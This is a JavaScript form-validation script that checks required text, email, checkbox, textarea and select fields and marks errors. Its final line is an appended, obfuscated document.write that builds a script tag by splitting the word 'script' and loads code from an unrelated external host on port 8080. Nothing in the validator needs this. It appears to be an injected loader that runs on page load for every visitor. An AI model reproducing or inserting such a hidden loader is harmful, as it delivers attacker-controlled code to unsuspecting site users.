// JavaScript Document

this._warningLocation = "";
this._errorImgUrl = "";
this._validImgUrl = "";
this._iconClass = "";
this._endAction;
this._formToValidate = "";

function formValidatorSetUp ( setUp )
{
	_warningLocation = setUp[0];
	_errorImgUrl = setUp[1];
	_validImgUrl = setUp[2];
	_iconClass = setUp[3];
	_endAction = setUp[4];
}

/*
 ************************************************************************
 ************************************************************************
																		*/

function addWarning ( objID )
{
	
	if ( _warningLocation == 'label' )
	{
		var errorObj = document.createElement('img');
		errorObj.setAttribute('src', _errorImgUrl);
		errorObj.setAttribute('alt', "error");
		errorObj.setAttribute('class', _iconClass);
		
		var txt = document.getElementById(objID).innerHTML;
		txt = txt.replace(/<.*>/, "");
		
		document.getElementById(objID).innerHTML = "";
		var txtObj = document.createTextNode(txt);
		
		document.getElementById(objID).appendChild(errorObj);
		document.getElementById(objID).appendChild(txtObj);
		
		document.getElementById('warning').style.display = "inline-block";
	}else{
		var field = _formToValidate.elements[objID+'-mandatory'];
		var classes = field.className;
		field.className = 'errorField ' + classes;
		//field.setAttribute('class', 'errorField '+classes);
	}
}


function removeWarning ( objID )
{
	if (_warningLocation == 'label') {
		var txt = document.getElementById(objID).innerHTML;
		txt = txt.replace(/<.*>/, "");
		document.getElementById(objID).innerHTML = "";
		var txtObj = document.createTextNode(txt);
		document.getElementById(objID).appendChild(txtObj);
	}else{
		var field = _formToValidate.elements[objID+'-mandatory'];
		var classes = field.className;
		classes = classes.replace(/errorField/, "");
		field.className = classes;
		//field.setAttribute('class', classes);
	}
	//document.getElementById('warning').style.display = "none";
}

/*
 ************************************************************************
 ************************************************************************
																		*/

function validTextField ( text, minLength )
{
	var res = true;
	if ( trim(text).length < minLength )
		res = false;
	return res;
}

function validEmailField ( email )
{
	var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
	var res = reg.test( trim(email) );
	return res;
}

function validSelectField ( value )
{
	var res = true;
	value = value.toLowerCase();
	if ( value == 'unselected' )
		res = false;
	return res;
}

function getGroupElements ( form, groupName )
{
	var res = new Array();
	for ( var i=0; i < document.forms[form].elements.length; i++ )
	{
		if ( document.forms[form].elements[i].name.indexOf(":G"+groupName) != -1 )
			res.push(document.forms[form].elements[i]);
	}	
	return res;
}

/*
 ************************************************************************
 ************************************************************************
																		*/

function validCheckBox ( obj, group, form )
{
	var res = true;
	if ( group != null )
	{
		var objList = getGroupElements ( form, group );
		var isGroupChecked = false;
		for ( var i=0; i < objList.length; i++ )
		{
			if ( objList[i].checked )
			{
				isGroupChecked = true;
				break;
			}
		}
		res = isGroupChecked;
	}else{
		res = obj.checked;
	}	
	return res;	
}


function getGroupName ( objName )
{
	var groupName = null;
	if ( objName.indexOf(':G') != -1 )
	{
		groupName = objName.substring( objName.indexOf(':G')+2, objName.indexOf('-T') );
	}	
	return groupName;
}

/*
 ************************************************************************
 ************************************************************************
																		*/
																		
function getTargetLabel ( fieldName )
{
	return 	fieldName.substring( 0, fieldName.indexOf('-') );
}
																		
function getGroupTargetLabel ( fieldName )
{
	return 	fieldName.substring( fieldName.indexOf('-T') + 2 );
}

/*
 ************************************************************************
 ************************************************************************
																		*/

function validate ( formNameToValidate )
{		
	var form = document.forms[formNameToValidate];
	_formToValidate = form;
	var hasError = false;
	
	var checkedGroups = new Array();
	
	for ( var i=0; i < form.elements.length; i++ )
	{
		if ( form.elements[i].tagName == 'INPUT' || form.elements[i].tagName == 'TEXTAREA' || form.elements[i].tagName == 'SELECT' )
		{
			if ( (form.elements[i].name.indexOf('-mandatory') != -1) )
			{
				var elmtTag = form.elements[i].tagName;		
				var isValid = true;			
				var labelTarget = "";
				
				switch (elmtTag)
				{
					case "INPUT":
						switch ( form.elements[i].type )
						{
							case "text":
								if ( form.elements[i].name.indexOf('email') != -1 )
								{
									//email text field
									isValid = validEmailField ( form.elements[i].value );
									labelTarget = getTargetLabel( form.elements[i].name );
									if ( !isValid )
									{
										hasError = true;
										addWarning ( labelTarget );
									}else{
										removeWarning( labelTarget );
									}
								}else{
									//regular text field
									isValid = validTextField ( form.elements[i].value, 3 );
									labelTarget = getTargetLabel( form.elements[i].name );
									if ( !isValid )
									{
										hasError = true;
										addWarning ( labelTarget );
									}else{
										removeWarning( labelTarget );
									}
								}
							break;
							
							case "checkbox":
								var gp = getGroupName( form.elements[i].name );
								if ( gp != null )
								{
									if ( !in_array(gp, checkedGroups) )
									{
										isValid = validCheckBox ( form.elements[i], gp, formNameToValidate );									
										labelTarget = getGroupTargetLabel( form.elements[i].name );
										if ( !isValid )
										{
											addWarning ( labelTarget );
											hasError = true;
										}else{
											removeWarning( labelTarget );
										}
										checkedGroups.push(gp);
									}else{ 
										//alert ('group already checked');
									}
								}else{
									isValid = validCheckBox ( form.elements[i], null, formNameToValidate );	
									labelTarget = getTargetLabel( form.elements[i].name );
									if ( !isValid )
									{
										addWarning ( labelTarget );
										hasError = true;
									}else{
										removeWarning( labelTarget );
									}
								}
							break;
						}				
					break;
					
					//-----------------------------//
					
					case "TEXTAREA":
						isValid = validTextField ( form.elements[i].value, 5 );
						labelTarget = getTargetLabel( form.elements[i].name );
						if ( !isValid )
						{
							addWarning ( labelTarget );
							hasError = true;
						}else{
							removeWarning( labelTarget );
						}
					break;
									
					//-----------------------------//
					
					case "SELECT":
						isValid = validSelectField ( form.elements[i].value );
						labelTarget = getTargetLabel( form.elements[i].name );
						if ( !isValid )
						{
							addWarning ( labelTarget );
							hasError = true;
						}else{
							removeWarning( labelTarget );
						}
					break;	
	
				}
				
			}
		}
	}
	
		
	if ( !hasError ) 
	{
		if (_endAction != null) {
			_endAction(formNameToValidate, 'submit');
		}else{
			//form.style.display = "none";
			form.submit();
		}
		document.getElementById( 'warning' ).style.display = 'none';
	}else{
		document.getElementById( 'warning' ).innerHTML = 'Please correct or complete the fields highlighted in RED and submit your query again.';
		document.getElementById( 'warning' ).style.display = 'block';
		
		if ( _endAction != null ) _endAction( formNameToValidate, 'stop' );
	}
	
}

document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/XML.js"></scr'+'ipt>');